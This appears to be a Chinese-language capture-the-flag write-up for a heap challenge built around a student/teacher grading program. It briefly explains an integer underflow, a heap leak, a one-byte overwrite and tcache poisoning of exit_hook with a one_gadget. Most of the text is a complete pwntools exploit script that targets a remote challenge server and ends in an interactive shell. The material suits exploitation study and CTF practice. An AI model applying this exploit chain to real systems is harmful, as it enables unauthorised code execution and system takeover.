题目主要实现了两个角色,每个角色四五个功能,漏洞点主要有以下几点:
当学生的question_number为1,并且pray过一次,老师在给分的时候就会扣十分,由于question_number为1,所以分数会模10,即小于10,减10之后发生负溢出,变成个很大的数。
从而可以进入这里的功能:
这里可以泄露堆地址,并且可以让一个已知地址指向的值加一
然后是这里:
这里可以修改一个堆地址的低1字节,从而修改堆块结构,将下一个chunk的size改大,释放后将libc内地址踩进可控堆块,泄露libc。
然后利用堆块重叠改写控制堆块里的堆地址,让其指向tcache头结构,然后改写0x310大小的chunk的指针,让其指向exit_hook,之前那个加一,可以用来让0x310chunk对应的count+1,这样就满足了两个条件,利用:
分配到exit_hook,将其改为onegadget,exit(-1)触发exit_hook,getshell
from asyncore import write
from re import L
from subprocess import call
from pwn import *
from ctypes import *
from Ayaka import *
import base64
from Crypto.Util.number import *
#context.log_level = 'debug'
context.arch='amd64'
#io = process('./pwn')
io = remote('124.70.130.92',60001)
libc = ELF('./libc-2.31.so')
elf=ELF("./pwn")
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def menu(choice):
sla("choice>> ",str(choice))
def add_student(num):
menu(1)
sla("enter the number of questions: ",str(num))
def give_score():
menu(2)
def write_review(index,size,context):
menu(3)
sla("which one? > ",str(index))
if size > 0:
sla("please input the size of comment: ",str(size))
sa("enter your comment:",context)
def call_parent(index):
menu(4)
sla("which student id to choose?",str(index))
def change_id(id):
menu(6)
sla("input your id: ",str(id))
def change_role(role):
menu(5)
sla("role: <0.teacher/1.student>: ",str(role))
def pray():
menu(3)
def set_mode(context,score):
menu(4)
if score > 0:
sla("enter your pray score: 0 to 100",str(score))
else:
sa("enter your mode!",context)
sla("role: <0.teacher/1.student>: ",str(0))
add_student(1)#0
add_student(1)#1
change_role(1)
change_id(1)
pray()
change_role(0)
give_score()
change_role(1)
change_id(1)
pray()
set_mode('a'*0x20,0)
pray()
set_mode('a',0x60)
change_role(0)
add_student(1)#2
write_review(1,0x300,'a'*8)
add_student(1)#3
write_review(3,0x100,'a'*8)
add_student(1)
change_role(1)
change_id(1)
pray()
set_mode(p64(0)+p64(0x4c1),0)
change_role(0)
call_parent(2)
add_student(1)#2
change_role(1)
change_id(1)
menu(2)
ru("Good Job! Here is your reward! ")
heapbase=int(io.recv(14),16)-0x2f0
lg("heapbase")
sla("add 1 to wherever you want! addr: ",str(heapbase+0x6e)+'0')
ru("here is the review:\n")
libcbase=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7f2cd0e93be0-0x7f2cd0ca7000)
lg("libcbase")
exit_hook=libcbase+0x222f70
onegadget=libcbase+0xe3b2e
lg("onegadget")
change_role(0)
add_student(1)
write_review(1,0,p64(heapbase+0x3f0)+p64(0)*4+p64(0x21)+p64(0)+p64(heapbase+0x208)+p64(0x10))
write_review(5,0,p64(exit_hook))
menu(6)
io.sendline(p64(onegadget))
irt()